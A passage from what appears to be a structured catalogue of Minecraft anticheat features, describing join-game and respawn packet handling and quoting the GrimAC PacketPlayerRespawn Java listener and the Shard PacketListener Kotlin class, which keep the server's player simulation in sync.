        "GrimAnticheat-Grim"
       ],
       "purpose": "Re-sync the simulated player model to the join-game payload: entity id, gamemode, dimension, world name and the death-screen flag.",
       "how_it_works": "PacketPlayerRespawn listens on PacketSendEvent with HIGH priority. The JOIN_GAME branch wraps the packet as WrapperPlayServerJoinGame, copies entityId, gamemode, dimensionType and worldName into the GrimPlayer, sets showsDeathScreen from isRespawnScreenEnabled on 1.15+ clients, and re-arms the compensated world dimension on 1.17+ servers. The same listener owns the respawn and update-health branches, so this file is the single state-reset point for the whole session lifecycle.",
       "detects": "Nothing directly: it prevents desync between the server's world state and the movement simulation, which is the precondition for every later check. A player model that never received its join payload would false-flag reach, fly and velocity checks.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerRespawn.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.checks.impl.badpackets.*;\nimport ac.grim.grimac.checks.impl.elytra.ElytraC;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.data.KnownInput;\nimport ac.grim.grimac.utils.data.SprintingState;\nimport ac.grim.grimac.utils.data.TrackerData;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntitySelf;\nimport ac.grim.grimac.utils.enums.Pose;\nimport ac.grim.grimac.utils.math.Vector3dm;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerJoinGame;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRespawn;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateHealth;\n\nimport java.util.Objects;\n\n/**\n * PlayerRespawnS2CPacket info (1.20.2+):\n * If the world is different (check via registry key), world is recreated (all entities etc destroyed).\n * <p>\n * Client player is ALWAYS recreated\n * <p>\n * If the packet has the `KEEP_TRACKED_DATA` flag:\n * Sneaking and Sprinting fields are kept on the new client player.\n * <p>\n * If the packet has the `KEEP_ATTRIBUTES` flag:\n * Attributes are kept.\n * <p>\n * New client player is initialised:\n * Pose is set to standing.\n * Velocity is set to zero.\n * Pitch is set to 0.\n * Yaw is set to -180.\n */\n// TODO update for 1.20.2-\npublic class PacketPlayerRespawn extends PacketListenerAbstract {\n\n    private static final byte KEEP_ATTRIBUTES = 1;\n    private static final byte KEEP_TRACKED_DATA = 2;\n    private static final byte KEEP_ALL = 3;\n\n    public PacketPlayerRespawn() {\n        super(PacketListenerPriority.HIGH);\n    }\n\n    private boolean hasFlag(WrapperPlayServerRespawn respawn, byte flag) {\n        // This packet was added in 1.16\n        if (flag == KEEP_ATTRIBUTES) {\n            // On versions older than 1.15, via does not keep all attributes.\n            // https://github.com/ViaVersion/ViaVersion/blob/master/common/src/main/java/com/viaversion/viaversion/protocols/v1_15_2to1_16/rewriter/EntityPacketRewriter1_16.java#L124\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_15)) {\n                return false;\n            }\n        } else if (flag == KEEP_TRACKED_DATA) {\n            // But for metadata, via DOES keep all data\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_15)) {\n                return true;\n            }\n        }\n\n        return (respawn.getKeptData() & flag) != 0;\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.UPDATE_HEALTH) {\n            WrapperPlayServerUpdateHealth health = new WrapperPlayServerUpdateHealth(event);\n\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n            //\n            if (player.packetStateData.lastFood == health.getFood()\n                    && player.packetStateData.lastHealth == health.getHealth()\n                    && player.packetStateData.lastSaturation == health.getFoodSaturation()\n                    && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_9))\n                return;\n\n            player.packetStateData.lastFood = health.getFood();\n            player.packetStateData.lastHealth = health.getHealth();\n            player.packetStateData.lastSaturation = health.getFoodSaturation();\n\n            player.sendTransaction();\n\n            if (health.getFood() == 20) { // Split so transaction before packet\n                player.latencyUtils.addRealTimeTask(player.lastTransactionReceived.get(), () -> player.food = 20);\n            } else { // Split so transaction after packet\n                player.latencyUtils.addRealTimeTask(player.lastTransactionReceived.get() + 1, () -> player.food = health.getFood());\n            }\n\n            if (health.getHealth() <= 0) {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                    player.compensatedEntities.self.isDead = true;\n                    player.checkManager.getCheck(BadPacketsM.class).onDeath();\n                });\n            } else {\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.compensatedEntities.self.isDead = false);\n            }\n\n            event.getTasksAfterSend().add(player::sendTransaction);\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.JOIN_GAME) {\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n\n            WrapperPlayServerJoinGame joinGame = new WrapperPlayServerJoinGame(event);\n            player.gamemode = joinGame.getGameMode();\n            player.entityID = joinGame.getEntityId();\n            player.dimensionType = joinGame.getDimensionType();\n            player.worldName = joinGame.getWorldName();\n\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_15)\n                    && event.getServerVersion().isNewerThanOrEquals(ServerVersion.V_1_15)) {\n                player.packetStateData.showsDeathScreen = joinGame.isRespawnScreenEnabled();\n            }\n\n            if (PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_17))\n                return;\n            player.compensatedWorld.setDimension(joinGame.getDimensionType(), event.getUser());\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.RESPAWN) {\n            WrapperPlayServerRespawn respawn = new WrapperPlayServerRespawn(event);\n\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n\n            player.sendTransaction();\n            event.getTasksAfterSend().add(player::sendTransaction);\n\n            // Force the player to accept a teleport before respawning\n            // (We won't process movements until they accept a teleport, we won't let movements though either)\n            // Also invalidate previous positions\n            player.getSetbackTeleportUtil().hasAcceptedSpawnTeleport = false;\n            player.getSetbackTeleportUtil().lastKnownGoodPosition = null;\n\n            // clear server entity positions when the world changes\n            if (isWorldChange(player, respawn)) {\n                player.compensatedEntities.serverPositionsMap.clear();\n            }\n\n            player.addRealTimeTaskNow(player.cameraEntity::reset);\n\n            player.addRealTimeTaskNext(() -> {\n                // From 1.16 to 1.19, this doesn't get set to false for whatever reason\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_16) || player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_20)) {\n                    player.isSneaking = false;\n                }\n\n                player.lastOnGround = false;\n                player.clientClaimsLastOnGround = false;\n                player.onGround = false;\n                player.isInBed = false;\n                player.packetStateData.setSlowedByUsingItem(false);\n                player.packetStateData.packetPlayerOnGround = false; // If somewhere else pulls last ground to fix other issues\n                player.packetStateData.lastClaimedPosition = new Vector3d();\n                player.filterMojangStupidityOnMojangStupidity.zero();\n\n                player.checkManager.getCheck(BadPacketsM.class).onRespawn();\n\n                final boolean keepTrackedData = this.hasFlag(respawn, KEEP_TRACKED_DATA);\n\n                if (!keepTrackedData) {\n                    player.food = 20;\n                    player.powderSnowFrozenTicks = 0;\n                    player.compensatedEntities.self.hasGravity = true;\n                    player.playerEntityHasGravity = true;\n                    player.packetStateData.knownInput = KnownInput.DEFAULT;\n                    player.checkManager.getCheck(ElytraC.class).exempt = true;\n\n                    // 1.19.4 uses current sprinting, older versions use last sprinting\n                    if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_19_4)) {\n                        player.isSprinting = false;\n                        player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n                    } else {\n                        player.lastSprintingForSpeed = false;\n                    }\n                }\n\n                player.checkManager.getCheck(BadPacketsE.class).handleRespawn(); // Reminder ticks reset\n                player.checkManager.getCheck(BadPacketsG.class).handleRespawn();\n\n                // compensate for immediate respawn gamerule\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_15)) {\n                    player.checkManager.getCheck(BadPacketsF.class).exemptNext = true;\n                }\n\n                // EVERYTHING gets reset on a cross dimensional teleport, clear chunks and entities!\n                if (isWorldChange(player, respawn)) {\n                    player.compensatedEntities.entityMap.clear();\n                    player.compensatedWorld.activePistons.clear();\n                    player.compensatedWorld.openShulkerBoxes.clear();\n                    player.compensatedWorld.chunks.clear();\n                    player.compensatedGeysers.clear();\n                    player.compensatedWorld.isRaining = false;\n                    player.checkManager.getCheck(BadPacketsH.class).onWorldChange();\n                }\n                player.dimensionType = respawn.getDimensionType();\n                player.worldName = respawn.getWorldName().orElse(null);\n\n                player.compensatedEntities.serverPlayerVehicle = null; // All entities get removed on respawn\n                player.compensatedEntities.self = new PacketEntitySelf(player, player.compensatedEntities.self);\n                player.compensatedEntities.selfTrackedEntity = new TrackerData(0, 0, 0, 0, 0, EntityTypes.PLAYER, player.lastTransactionSent.get());\n\n                player.cameraEntity.reset();\n\n                if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) { // 1.14+ players send a packet for this, listen for it instead\n                    player.isSprinting = false;\n                    player.vehicleData.camelSprintingState = SprintingState.STOPPED;\n                    player.checkManager.getCheck(BadPacketsF.class).lastSprinting = false; // Pre 1.14 clients set this to false when creating new entity\n                    // TODO: What the fuck viaversion, why do you throw out keep all metadata?\n                    // The server doesn't even use it... what do we do?\n                    player.compensatedEntities.hasSprintingAttributeEnabled = false;\n                }\n                player.pose = Pose.STANDING;\n                if (!keepTrackedData || player.getClientVersion().isOlderThan(ClientVersion.V_1_21_2)) {\n                    player.clientVelocity = new Vector3dm();\n                }\n                if (!GrimAPI.INSTANCE.getSpectateManager().isSpectating(player.uuid)) {\n                    player.gamemode = respawn.getGameMode();\n                }\n                if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_17)) {\n                    player.compensatedWorld.setDimension(respawn.getDimensionType(), event.getUser());\n                }\n\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) && !this.hasFlag(respawn, KEEP_ATTRIBUTES)) {\n                    // Reset attributes if not kept\n                    player.compensatedEntities.self.resetAttributes();\n                    player.compensatedEntities.hasSprintingAttributeEnabled = false;\n                }\n            });\n        }\n    }\n\n    private boolean isWorldChange(GrimPlayer player, WrapperPlayServerRespawn respawn) {\n        if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_16) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThan(ServerVersion.V_1_16)) {\n            return !Objects.equals(respawn.getWorldName().orElse(null), player.worldName);\n        }\n\n        ClientVersion version = PacketEvents.getAPI().getServerManager().getVersion().toClientVersion();\n        return respawn.getDimensionType().getId(version) != player.dimensionType.getId(version)\n                || !Objects.equals(respawn.getDimensionType().getName(), player.dimensionType.getName());\n    }\n}\n\n// NOTE (AI): The JOIN_GAME branch is lines 113-131 of this listener. The same class also owns UPDATE_HEALTH (77-111) and RESPAWN (133-243); the S01 story is the state-copy block plus the dimension re-arm on 1.17+.\n",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketPlayerRespawn.java",
       "variations": "Shard's PacketListener routes JOIN_GAME into handleJoinGame, which stores the entity id and gamemode and clears the compensated entity list. Artemis registers GPacketPlayServerLogin in its packet repository (SERVER_PLAY + 40) and fires LoginCallback on login success. Daedalus starts a 60-tick lastLogin timer used to exempt movement checks after join."
      },
      {
       "name": "Join-game handling (Shard)",
       "found_in": [
        "KaelusAI-Shard"
       ],
       "purpose": "Initialize the per-player packet state when the play session starts: entity id, gamemode and a clean compensated entity list.",
       "how_it_works": "PacketListener.onPacketSend switches on Play.Server packet types. JOIN_GAME is wrapped as WrapperPlayServerJoinGame and passed to handleJoinGame, which stores the entity id and gamemode on the ShardPlayer and clears compensatedEntities. The same dispatch routes RESPAWN, the SPAWN_* family and DESTROY_ENTITIES, so the join handler is one branch of the packet-state machine that all simulation checks consume.",
       "detects": "Nothing by itself. It guarantees the entity id used by the client-side self entity matches the server's, which every movement and combat check assumes.",
       "detailed_code": "// ===== FILE: KaelusAI-Shard, src/main/kotlin/ac/shard/packet/PacketListener.kt =====\n/*\n * This file is part of Shard - https://github.com/KaelusAI/Shard\n * Copyright (C) 2026 KaelusAI\n *\n * This file contains code derived from GrimAC.\n * The original authors of GrimAC are credited below.\n *\n * Copyright (c) 2021-2026 GrimAC, DefineOutside and contributors.\n *\n * Shard is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Shard is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\npackage ac.shard.packet\n\nimport ac.shard.player.PlayerDataManager\nimport ac.shard.player.ShardPlayer\nimport ac.shard.player.TransactionStamp\nimport com.github.retrooper.packetevents.PacketEvents\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent\nimport com.github.retrooper.packetevents.event.PacketSendEvent\nimport com.github.retrooper.packetevents.event.ProtocolPacketEvent\nimport com.github.retrooper.packetevents.event.UserDisconnectEvent\nimport com.github.retrooper.packetevents.event.UserLoginEvent\nimport com.github.retrooper.packetevents.manager.server.ServerVersion\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion\nimport com.github.retrooper.packetevents.protocol.teleport.RelativeFlag\nimport com.github.retrooper.packetevents.protocol.world.Location\nimport com.github.retrooper.packetevents.util.Vector3d\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerFlying\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPong\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientWindowConfirmation\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDestroyEntities\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerJoinGame\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPing\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerPositionAndLook\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerRotation\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSetPassengers\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnEntity\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnLivingEntity\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPainting\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerSpawnPlayer\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerWindowConfirmation\nimport org.bukkit.entity.Player\n\nprivate const val FULL_CIRCLE_DEGREES = 360f\nprivate const val MAX_PITCH = 90f\n\nclass PacketListener(private val playerDataManager: PlayerDataManager) : PacketListenerAbstract() {\n  override fun onUserLogin(event: UserLoginEvent) {\n    val user: com.github.retrooper.packetevents.protocol.player.User? = event.user\n    if (user == null) {\n      return\n    }\n    val player: Player? = event.getPlayer()\n    if (player == null) {\n      return\n    }\n    playerDataManager.handleUserLogin(user, player)\n  }\n\n  override fun onUserDisconnect(event: UserDisconnectEvent) {\n    playerDataManager.handleUserDisconnect(event.user)\n  }\n\n  private fun checkTeleportQueue(\n    player: ShardPlayer,\n    flying: WrapperPlayClientPlayerFlying,\n  ): Boolean {\n    if (!flying.hasPositionChanged() || player.pendingTeleports.isEmpty()) {\n      return false\n    }\n\n    val movement = player.movement\n    while (player.pendingTeleports.isNotEmpty()) {\n      val teleport = player.pendingTeleports.peek() ?: break\n      val lastTransaction = player.transactions.lastTransactionReceived.get()\n      if (lastTransaction < teleport.transactionId) {\n        return false\n      }\n\n      val flyingLocation = flying.location\n      val flags = teleport.flags\n\n      val expectedX =\n        if (flags.has(RelativeFlag.X)) {\n          movement.x + teleport.location.x\n        } else {\n          teleport.location.x\n        }\n      val expectedY =\n        if (flags.has(RelativeFlag.Y)) {\n          movement.y + teleport.location.y\n        } else {\n          teleport.location.y\n        }\n      val expectedZ =\n        if (flags.has(RelativeFlag.Z)) {\n          movement.z + teleport.location.z\n        } else {\n          teleport.location.z\n        }\n\n      val epsilon = 1.0E-7\n      if (\n        kotlin.math.abs(flyingLocation.x - expectedX) < epsilon &&\n          kotlin.math.abs(flyingLocation.y - expectedY) < epsilon &&\n          kotlin.math.abs(flyingLocation.z - expectedZ) < epsilon\n      ) {\n        player.pendingTeleports.poll()\n        return true\n      }\n\n      if (lastTransaction > teleport.transactionId) {\n        player.pendingTeleports.poll()\n        continue\n      }\n      return false\n    }\n    return false\n  }\n\n  private fun checkRotationQueue(\n    player: ShardPlayer,\n    flying: WrapperPlayClientPlayerFlying,\n  ): Boolean {\n    if (\n      !flying.hasRotationChanged() ||\n        flying.hasPositionChanged() ||\n        player.pendingRotations.isEmpty()\n    ) {\n      return false\n    }\n\n    while (player.pendingRotations.isNotEmpty()) {\n      val rotation = player.pendingRotations.peek() ?: break\n      val lastTransaction = player.transactions.lastTransactionReceived.get()\n      if (lastTransaction < rotation.transactionId) {\n        return false\n      }\n\n      if (matchesServerRotation(rotation, flying)) {\n        player.pendingRotations.poll()\n        return true\n      }\n\n      if (lastTransaction > rotation.transactionId) {\n        player.pendingRotations.poll()\n        continue\n      }\n      return false\n    }\n    return false\n  }\n\n  override fun onPacketReceive(event: PacketReceiveEvent) {\n    val player: Player? = event.getPlayer<Player>()\n    if (player == null) {\n      return\n    }\n\n    val shardPlayer = playerDataManager.getPlayer(player) ?: return\n\n    if (handleTransaction(event, shardPlayer)) {\n      dropWrapperUnlessRewritten(event)\n      return\n    }\n\n    if (WrapperPlayClientPlayerFlying.isFlying(event.packetType)) {\n      handleFlying(event, shardPlayer)\n    }\n\n    if (event.isCancelled) {\n      resetFlags(shardPlayer)\n      return\n    }\n\n    if (\n      shardPlayer.packetStateData.lastPacketWasTeleport ||\n        shardPlayer.packetStateData.lastPacketWasServerRotation\n    ) {\n      updatePlayerState(shardPlayer, WrapperPlayClientPlayerFlying(event))\n    }\n\n    if (\n      WrapperPlayClientPlayerFlying.isFlying(event.packetType) &&\n        !shardPlayer.packetStateData.shouldIgnoreFlyingTick\n    ) {\n      shardPlayer.combat.ticksSinceAttack = shardPlayer.combat.ticksSinceAttack + 1\n    }\n\n    shardPlayer.checkManager.onPacketReceive(event)\n\n    resetFlags(shardPlayer)\n    dropWrapperUnlessRewritten(event)\n  }\n\n  private fun dropWrapperUnlessRewritten(event: ProtocolPacketEvent) {\n    if (!event.needsReEncode()) {\n      event.setLastUsedWrapper(null)\n    }\n  }\n\n  private fun handleTransaction(event: PacketReceiveEvent, shardPlayer: ShardPlayer): Boolean {\n    if (event.packetType == PacketType.Play.Client.WINDOW_CONFIRMATION) {\n      val transaction = WrapperPlayClientWindowConfirmation(event)\n      val id = transaction.actionId\n      if (id <= 0 && addTransactionResponse(shardPlayer, id)) {\n        event.isCancelled = true\n      }\n      return true\n    } else if (event.packetType == PacketType.Play.Client.PONG) {\n      val pong = WrapperPlayClientPong(event)\n      val id = pong.id.toShort()\n      if (addTransactionResponse(shardPlayer, id)) {\n        event.isCancelled = true\n      }\n      return true\n    }\n    return false\n  }\n\n  private fun matchesServerRotation(\n    rotation: ShardPlayer.RotationData,\n    flying: WrapperPlayClientPlayerFlying,\n  ): Boolean {\n    val yawMatches = rotation.relativeYaw || flying.location.yaw == rotation.yaw\n    val pitchMatches = rotation.relativePitch || flying.location.pitch == rotation.pitch\n    return yawMatches && pitchMatches\n  }\n\n  private fun handleFlying(event: PacketReceiveEvent, shardPlayer: ShardPlayer) {\n    val flying = WrapperPlayClientPlayerFlying(event)\n\n    val teleported = checkTeleportQueue(shardPlayer, flying)\n    val serverRotated = !teleported && checkRotationQueue(shardPlayer, flying)\n\n    shardPlayer.packetStateData.lastPacketWasTeleport = teleported\n    shardPlayer.packetStateData.lastPacketWasServerRotation = serverRotated\n\n    isMojangStupid(shardPlayer, flying, event)\n\n    if (!event.isCancelled && !teleported && !serverRotated) {\n      processRotation(shardPlayer, flying)\n    }\n\n    if (!teleported) {\n      shardPlayer.packetStateData.packetPlayerOnGround = flying.isOnGround\n    }\n  }\n\n  private fun processRotation(shardPlayer: ShardPlayer, packet: WrapperPlayClientPlayerFlying) {\n    val ignoreRotation =\n      shardPlayer.packetStateData.lastPacketWasOnePointSeventeenDuplicate &&\n        shardPlayer.isIgnoreDuplicatePacketRotation()\n    val movement = shardPlayer.movement\n\n    if (packet.hasPositionChanged()) {\n      movement.x = packet.location.x\n      movement.y = packet.location.y\n      movement.z = packet.location.z\n      if (!shardPlayer.packetStateData.lastPacketWasOnePointSeventeenDuplicate) {\n        shardPlayer.packetStateData.duplicatePacketFilterPosition = packet.location.position\n      }\n    }\n\n    if (packet.hasRotationChanged() && !ignoreRotation) {\n      val newYaw = packet.location.yaw\n      val newPitch = packet.location.pitch\n\n      movement.lastYaw = movement.yaw\n      movement.lastPitch = movement.pitch\n      movement.yaw = newYaw\n      movement.pitch = newPitch\n    }\n  }\n\n  private fun updatePlayerState(shardPlayer: ShardPlayer, flying: WrapperPlayClientPlayerFlying) {\n    val movement = shardPlayer.movement\n    if (flying.hasPositionChanged()) {\n      movement.x = flying.location.x\n      movement.y = flying.location.y\n      movement.z = flying.location.z\n      shardPlayer.packetStateData.duplicatePacketFilterPosition = flying.location.position\n    }\n    if (flying.hasRotationChanged()) {\n      movement.yaw = flying.location.yaw\n      movement.pitch = flying.location.pitch\n      movement.lastYaw = movement.yaw\n      movement.lastPitch = movement.pitch\n    }\n  }\n\n  private fun resetFlags(shardPlayer: ShardPlayer) {\n    shardPlayer.packetStateData.lastPacketWasOnePointSeventeenDuplicate = false\n    shardPlayer.packetStateData.lastPacketWasTeleport = false\n    shardPlayer.packetStateData.lastPacketWasServerRotation = false\n  }\n\n  override fun onPacketSend(event: PacketSendEvent) {\n    val player: Player? = event.getPlayer<Player>()\n    if (player != null) {\n      val shardPlayer = playerDataManager.getPlayer(player) ?: return\n      (event.packetType as? PacketType.Play.Server)?.let { packetType ->\n        when (packetType) {\n          PacketType.Play.Server.WINDOW_CONFIRMATION ->\n            handleWindowConfirmation(WrapperPlayServerWindowConfirmation(event), shardPlayer)\n          PacketType.Play.Server.PING -> handlePing(WrapperPlayServerPing(event), shardPlayer)\n          PacketType.Play.Server.SPAWN_ENTITY ->\n            handleSpawnEntity(WrapperPlayServerSpawnEntity(event), shardPlayer)\n          PacketType.Play.Server.SPAWN_LIVING_ENTITY ->\n            handleSpawnLivingEntity(WrapperPlayServerSpawnLivingEntity(event), shardPlayer)\n          PacketType.Play.Server.SPAWN_PAINTING ->\n            handleSpawnPainting(WrapperPlayServerSpawnPainting(event), shardPlayer)\n          PacketType.Play.Server.SPAWN_PLAYER ->\n            handleSpawnPlayer(WrapperPlayServerSpawnPlayer(event), shardPlayer)\n          PacketType.Play.Server.SET_PASSENGERS ->\n            handleSetPassengers(WrapperPlayServerSetPassengers(event), shardPlayer)\n          PacketType.Play.Server.DESTROY_ENTITIES ->\n            handleDestroyEntities(WrapperPlayServerDestroyEntities(event), shardPlayer)\n          PacketType.Play.Server.JOIN_GAME ->\n            handleJoinGame(WrapperPlayServerJoinGame(event), shardPlayer)\n          PacketType.Play.Server.RESPAWN -> handleRespawn(shardPlayer)\n          PacketType.Play.Server.PLAYER_POSITION_AND_LOOK ->\n            handlePositionAndLook(WrapperPlayServerPlayerPositionAndLook(event), shardPlayer)\n          PacketType.Play.Server.PLAYER_ROTATION ->\n            handlePlayerRotation(WrapperPlayServerPlayerRotation(event), shardPlayer)\n          else -> Unit\n        }\n      }\n      dropWrapperUnlessRewritten(event)\n    }\n  }\n\n  private fun handleWindowConfirmation(\n    confirmation: WrapperPlayServerWindowConfirmation,\n    shardPlayer: ShardPlayer,\n  ) {\n    val id = confirmation.actionId\n    val transactions = shardPlayer.transactions\n    if (id <= 0 && transactions.didWeSendThatTrans.remove(id)) {\n      transactions.transactionsSent.add(TransactionStamp(id, System.nanoTime()))\n      transactions.lastTransactionSent.getAndIncrement()\n    }\n  }\n\n  private fun handlePing(ping: WrapperPlayServerPing, shardPlayer: ShardPlayer) {\n    val id = ping.id\n    val transactions = shardPlayer.transactions\n    if (id == id.toShort().toInt() && transactions.didWeSendThatTrans.remove(id.toShort())) {\n      transactions.transactionsSent.add(TransactionStamp(id.toShort(), System.nanoTime()))\n      transactions.lastTransactionSent.getAndIncrement()\n    }\n  }\n\n  private fun handleSpawnEntity(spawn: WrapperPlayServerSpawnEntity, shardPlayer: ShardPlayer) {\n    shardPlayer.compensatedEntities.addEntity(\n      spawn.entityId,\n      spawn.uuid.orElse(null),\n      spawn.entityType,\n    )\n  }\n\n  private fun handleSpawnLivingEntity(\n    spawn: WrapperPlayServerSpawnLivingEntity,\n    shardPlayer: ShardPlayer,\n  ) {\n    shardPlayer.compensatedEntities.addEntity(spawn.entityId, spawn.entityUUID, spawn.entityType)\n  }\n\n  private fun handleSpawnPainting(spawn: WrapperPlayServerSpawnPainting, shardPlayer: ShardPlayer) {\n    shardPlayer.compensatedEntities.addEntity(spawn.entityId, spawn.uuid, EntityTypes.PAINTING)\n  }\n\n  private fun handleSpawnPlayer(spawn: WrapperPlayServerSpawnPlayer, shardPlayer: ShardPlayer) {\n    shardPlayer.compensatedEntities.addEntity(spawn.entityId, spawn.uuid, EntityTypes.PLAYER)\n  }\n\n  private fun handleSetPassengers(\n    wrapper: WrapperPlayServerSetPassengers,\n    shardPlayer: ShardPlayer,\n  ) {\n    val self = shardPlayer.compensatedEntities.self\n    val vehicle = shardPlayer.compensatedEntities.getEntity(wrapper.entityId) ?: return\n    if (wrapper.passengers.contains(shardPlayer.entityId)) {\n      self.mount(vehicle)\n    } else if (self.riding === vehicle) {\n      self.eject()\n    }\n  }\n\n  private fun handleDestroyEntities(\n    destroy: WrapperPlayServerDestroyEntities,\n    shardPlayer: ShardPlayer,\n  ) {\n    val self = shardPlayer.compensatedEntities.self\n    for (id in destroy.entityIds) {\n      if (self.riding === shardPlayer.compensatedEntities.getEntity(id)) {\n        self.eject()\n      }\n      shardPlayer.compensatedEntities.removeEntity(id)\n    }\n  }\n\n  private fun handleJoinGame(join: WrapperPlayServerJoinGame, shardPlayer: ShardPlayer) {\n    shardPlayer.entityId = join.entityId\n    shardPlayer.gameMode = join.gameMode\n    shardPlayer.compensatedEntities.clear()\n  }\n\n  private fun handleRespawn(shardPlayer: ShardPlayer) {\n    shardPlayer.compensatedEntities.clear()\n  }\n\n  private fun handlePositionAndLook(\n    wrapper: WrapperPlayServerPlayerPositionAndLook,\n    shardPlayer: ShardPlayer,\n  ) {\n    shardPlayer.sendTransaction()\n    val transactionId = shardPlayer.transactions.lastTransactionSent.get()\n    val location = Vector3d(wrapper.x, wrapper.y, wrapper.z)\n    val flags = wrapper.relativeFlags\n    shardPlayer.pendingTeleports.add(ShardPlayer.TeleportData(location, flags, transactionId))\n  }\n\n  private fun handlePlayerRotation(\n    wrapper: WrapperPlayServerPlayerRotation,\n    shardPlayer: ShardPlayer,\n  ) {\n    shardPlayer.sendTransaction()\n    val transactionId = shardPlayer.transactions.lastTransactionSent.get()\n    val storedPitch =\n      if (wrapper.isRelativePitch) {\n        wrapper.pitch\n      } else {\n        (wrapper.pitch % FULL_CIRCLE_DEGREES).coerceIn(-MAX_PITCH, MAX_PITCH)\n      }\n    shardPlayer.pendingRotations.add(\n      ShardPlayer.RotationData(\n        wrapper.yaw,\n        storedPitch,\n        wrapper.isRelativeYaw,\n        wrapper.isRelativePitch,\n        transactionId,\n      )\n    )\n  }\n\n  private fun addTransactionResponse(player: ShardPlayer, id: Short): Boolean {\n    var data: TransactionStamp? = null\n    var hasId = false\n\n    for (entry in player.transactions.transactionsSent) {\n      if (entry.id == id) {\n        hasId = true\n        break\n      }\n    }\n\n    if (hasId) {\n      do {\n        data = player.transactions.transactionsSent.poll()\n        if (data == null) break\n        player.transactions.lastTransactionReceived.incrementAndGet()\n      } while (data.id != id)\n\n      player.latencyUtils.handleNettySyncTransaction(\n        player.transactions.lastTransactionReceived.get()\n      )\n    }\n    return data != null\n  }\n\n  private fun isMojangStupid(\n    player: ShardPlayer,\n    flying: WrapperPlayClientPlayerFlying,\n    event: PacketReceiveEvent,\n  ) {\n    if (\n      player.packetStateData.lastPacketWasTeleport ||\n        player.user.clientVersion.isNewerThanOrEquals(ClientVersion.V_1_21)\n    ) {\n      return\n    }\n\n    val location: Location = flying.location\n    if (shouldProcessDuplicate(player, flying, location)) {\n      handleDuplicatePacketAction(player, flying, location, event)\n      player.packetStateData.lastPacketWasOnePointSeventeenDuplicate = true\n      applyDuplicateRotation(player, location)\n    }\n  